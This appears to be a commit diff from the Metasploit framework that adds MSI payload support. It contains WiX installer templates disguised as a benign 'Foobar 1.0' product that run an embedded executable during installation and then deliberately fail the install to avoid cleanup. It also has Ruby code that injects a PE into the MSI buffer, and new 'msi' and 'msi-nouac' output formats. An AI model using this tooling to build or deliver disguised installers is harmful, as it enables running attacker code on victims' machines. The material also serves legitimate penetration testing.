Land #1569, MSI payloads
The bins are signed by Meatballs, everything looks good here, so landing. Thanks for your patience on these!bug/bundler_fix
commit
2fb770f73e
|
@ -0,0 +1,3 @@
|
|||
*.msi
|
||||
*.wixobj
|
||||
*.wixpdb
|
|
@ -0,0 +1,7 @@
|
|||
Compile using WiX: http://wixtoolset.org
|
||||
|
||||
Recompile with a larger buffer file to increase the available
|
||||
buffer size for larger payloads if required.
|
||||
|
||||
candle template_x86_windows.wxs
|
||||
light template_x86_windows.wixobj
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,18 @@
|
|||
@echo off
|
||||
REM Set PATH to location of your WiX binaries
|
||||
SET PATH=%PATH%;c:\tools\local\wix38-binaries\
|
||||
@echo on
|
||||
|
||||
candle template_windows.wxs
|
||||
light template_windows.wixobj
|
||||
copy template_windows.msi ..\..\template_windows.msi
|
||||
del template_windows.msi
|
||||
del template_windows.wixobj
|
||||
del template_windows.wixpdb
|
||||
|
||||
candle template_nouac_windows.wxs
|
||||
light template_nouac_windows.wixobj
|
||||
copy template_nouac_windows.msi ..\..\template_nouac_windows.msi
|
||||
del template_nouac_windows.msi
|
||||
del template_nouac_windows.wixobj
|
||||
del template_nouac_windows.wixpdb
|
|
@ -0,0 +1,38 @@
|
|||
<?xml version='1.0' encoding='windows-1252'?>
|
||||
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
|
||||
<Product Name='Foobar 1.0' Id='*'
|
||||
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
|
||||
|
||||
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" InstallPrivileges="limited" />
|
||||
|
||||
<Media Id='1' />
|
||||
|
||||
<Directory Id='TARGETDIR' Name='SourceDir'>
|
||||
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
|
||||
<Condition>0</Condition>
|
||||
</Component>
|
||||
</Directory>
|
||||
|
||||
<!-- Ensure buffer file is large enough to handle the PE you are inserting -->
|
||||
<Binary Id='Payload' SourceFile='buffer' />
|
||||
|
||||
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
|
||||
<CustomAction Id='ExecPayload' BinaryKey='Payload' Impersonate='yes' Execute='deferred' ExeCommand='' Return='asyncNoWait'/>
|
||||
<!-- Attempt to launch some invalid VBS to fail the installation so no cleanup is required -->
|
||||
<CustomAction Id='FailInstallation' Impersonate='no' Execute='deferred' Script='vbscript' Return='check'>fail</CustomAction>
|
||||
|
||||
<Feature Id='Complete' Level='1'>
|
||||
<ComponentRef Id='MyComponent' />
|
||||
</Feature>
|
||||
|
||||
<!-- Define ALLUSERS with a blank value -->
|
||||
<Property Id="ALLUSERS" Secure="yes"/>
|
||||
|
||||
<InstallExecuteSequence>
|
||||
<ResolveSource After="CostInitialize" />
|
||||
<Custom Action="ExecPayload" After="InstallInitialize" />
|
||||
<Custom Action="FailInstallation" Before="InstallFiles" />
|
||||
</InstallExecuteSequence>
|
||||
|
||||
</Product>
|
||||
</Wix>
|
|
@ -0,0 +1,35 @@
|
|||
<?xml version='1.0' encoding='windows-1252'?>
|
||||
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
|
||||
<Product Name='Foobar 1.0' Id='*'
|
||||
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
|
||||
|
||||
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" />
|
||||
|
||||
<Media Id='1' />
|
||||
|
||||
<Directory Id='TARGETDIR' Name='SourceDir'>
|
||||
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
|
||||
<Condition>0</Condition>
|
||||
</Component>
|
||||
</Directory>
|
||||
|
||||
<!-- Ensure buffer file is large enough to handle the PE you are inserting -->
|
||||
<Binary Id='Payload' SourceFile='buffer' />
|
||||
|
||||
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
|
||||
<CustomAction Id='ExecPayload' BinaryKey='Payload' Impersonate='no' Execute='deferred' ExeCommand='' Return='asyncNoWait'/>
|
||||
<!-- Attempt to launch some invalid VBS to fail the installation so no cleanup is required -->
|
||||
<CustomAction Id='FailInstallation' Impersonate='no' Execute='deferred' Script='vbscript' Return='check'>fail</CustomAction>
|
||||
|
||||
<Feature Id='Complete' Level='1'>
|
||||
<ComponentRef Id='MyComponent' />
|
||||
</Feature>
|
||||
|
||||
<InstallExecuteSequence>
|
||||
<ResolveSource After="CostInitialize" />
|
||||
<Custom Action="ExecPayload" After="InstallInitialize" />
|
||||
<Custom Action="FailInstallation" Before="InstallFiles" />
|
||||
</InstallExecuteSequence>
|
||||
|
||||
</Product>
|
||||
</Wix>
|
Binary file not shown.
Binary file not shown.
|
@ -20,15 +20,20 @@ module Exploit::EXE
|
|||
OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]),
|
||||
OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]),
|
||||
OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]),
|
||||
OptBool.new( 'EXE::OldMethod', [ false, 'Set to use the substitution EXE generation method.' ]),
|
||||
OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ])
|
||||
OptBool.new( 'EXE::OldMethod',[ false, 'Set to use the substitution EXE generation method.' ]),
|
||||
OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]),
|
||||
OptPath.new( 'MSI::Custom', [ false, 'Use custom msi instead of automatically generating a payload msi']),
|
||||
OptPath.new( 'MSI::Path', [ false, 'The directory in which to look for the msi template' ]),
|
||||
OptPath.new( 'MSI::Template', [ false, 'The msi template file name' ]),
|
||||
OptBool.new( 'MSI::UAC', [ false, 'Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def get_custom_exe
|
||||
print_status("Using custom executable #{datastore["EXE::Custom"]}, RHOST and RPORT settings will be ignored!")
|
||||
def get_custom_exe(path=nil)
|
||||
path ||= datastore['EXE::Custom']
|
||||
print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!")
|
||||
datastore['DisablePayloadHandler'] = true
|
||||
file = ::File.open(datastore['EXE::Custom'],'rb')
|
||||
file = ::File.open(path,'rb')
|
||||
exe = file.read(file.stat.size)
|
||||
file.close
|
||||
exe
|
||||
|
@ -99,6 +104,22 @@ module Exploit::EXE
|
|||
dll
|
||||
end
|
||||
|
||||
def generate_payload_msi(opts = {})
|
||||
return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom'
|
||||
|
||||
exe = generate_payload_exe(opts)
|
||||
|
||||
opts.merge! ({
|
||||
:msi_template => datastore['MSI::Template'],
|
||||
:msi_template_path => datastore['MSI::Path'],
|
||||
:uac => datastore['MSI:UAC']
|
||||
})
|
||||
|
||||
msi = Msf::Util::EXE.to_exe_msi(framework, exe, opts)
|
||||
|
||||
return msi
|
||||
end
|
||||
|
||||
protected
|
||||
def exe_init_options(opts)
|
||||
opts.merge!(
|
||||
|
|
|
@ -27,7 +27,7 @@ require 'msf/core/exe/segment_injector'
|
|||
|
||||
def self.set_template_default(opts, exe = nil, path = nil)
|
||||
# If no path specified, use the default one.
|
||||
path ||= File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates")
|
||||
path ||= File.join(Msf::Config.data_directory, "templates")
|
||||
|
||||
# If there's no default name, we must blow it up.
|
||||
if not exe
|
||||
|
@ -489,6 +489,66 @@ require 'msf/core/exe/segment_injector'
|
|||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Wraps an executable inside a Windows
|
||||
# .msi file for auto execution when run
|
||||
#
|
||||
def self.to_exe_msi(framework, exe, opts={})
|
||||
if opts[:uac]
|
||||
opts[:msi_template] ||= "template_nouac_windows.msi"
|
||||
else
|
||||
opts[:msi_template] ||= "template_windows.msi"
|
||||
end
|
||||
return replace_msi_buffer(exe, opts)
|
||||
end
|
||||
|
||||
def self.replace_msi_buffer(pe, opts)
|
||||
opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")
|
||||
|
||||
if opts[:msi_template].include?(File::SEPARATOR)
|
||||
template = opts[:msi_template]
|
||||
else
|
||||
template = File.join(opts[:msi_template_path], opts[:msi_template])
|
||||
end
|
||||
|
||||
msi = ''
|
||||
File.open(template, "rb") { |fd|
|
||||
msi = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
section_size = 2**(msi[30..31].unpack('s')[0])
|
||||
sector_allocation_table = msi[section_size..section_size*2].unpack('l*')
|
||||
|
||||
buffer_chain = []
|
||||
current_secid = 5 # This is closely coupled with the template provided and ideally
|
||||
# would be calculated from the dir stream?
|
||||
|
||||
until current_secid == -2
|
||||
buffer_chain << current_secid
|
||||
current_secid = sector_allocation_table[current_secid]
|
||||
end
|
||||
|
||||
buffer_size = buffer_chain.length * section_size
|
||||
|
||||
if pe.size > buffer_size
|
||||
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
|
||||
end
|
||||
|
||||
pe_block_start = 0
|
||||
pe_block_end = pe_block_start + section_size - 1
|
||||
|
||||
buffer_chain.each do |section|
|
||||
block_start = section_size * (section + 1)
|
||||
block_end = block_start + section_size - 1
|
||||
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
|
||||
msi[block_start..block_end] = pe_block
|
||||
pe_block_start = pe_block_end + 1
|
||||
pe_block_end += section_size
|
||||
end
|
||||
|
||||
return msi
|
||||
end
|
||||
|
||||
def self.to_osx_arm_macho(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own template
|
||||
|
@ -1586,6 +1646,25 @@ def self.to_vba(framework,code,opts={})
|
|||
when ARCH_X64 then to_winpe_only(framework, code, exeopts, arch)
|
||||
end
|
||||
|
||||
when 'msi'
|
||||
case arch
|
||||
when ARCH_X86,nil
|
||||
exe = to_win32pe(framework, code, exeopts)
|
||||
when ARCH_X86_64,ARCH_X64
|
||||
exe = to_win64pe(framework, code, exeopts)
|
||||
end
|
||||
output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
|
||||
|
||||
when 'msi-nouac'
|
||||
case arch
|
||||
when ARCH_X86,nil
|
||||
exe = to_win32pe(framework, code, exeopts)
|
||||
when ARCH_X86_64,ARCH_X64
|
||||
exe = to_win64pe(framework, code, exeopts)
|
||||
end
|
||||
exeopts[:uac] = true
|
||||
output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
|
||||
|
||||
when 'elf'
|
||||
if (not plat or (plat.index(Msf::Module::Platform::Linux)))
|
||||
output = case arch
|
||||
|
@ -1651,7 +1730,7 @@ def self.to_vba(framework,code,opts={})
|
|||
def self.to_executable_fmt_formats
|
||||
[
|
||||
'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe',
|
||||
'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net'
|
||||
'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net', 'msi', 'msi-nouac'
|
||||
]
|
||||
end
|
||||
|
||||
|
|
|
@ -38,6 +38,12 @@ shared_context 'Msf::Util::Exe' do
|
|||
{ :format => "psh-net", :arch => "x86_64", :file_fp => /ASCII/ },
|
||||
{ :format => "war", :arch => "x86", :file_fp => /Zip/ },
|
||||
{ :format => "war", :arch => "x86_64", :file_fp => /Zip/ },
|
||||
{ :format => "msi", :arch => "x86", :file_fp => /Composite Document/ },
|
||||
{ :format => "msi", :arch => "x64", :file_fp => /Composite Document/ },
|
||||
{ :format => "msi", :arch => "x86_64", :file_fp => /Composite Document/ },
|
||||
{ :format => "msi-nouac", :arch => "x86", :file_fp => /Composite Document/ },
|
||||
{ :format => "msi-nouac", :arch => "x64", :file_fp => /Composite Document/ },
|
||||
{ :format => "msi-nouac", :arch => "x86_64", :file_fp => /Composite Document/ },
|
||||
],
|
||||
"linux" => [
|
||||
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ },
|
||||
|
|
Loading…
Reference in New Issue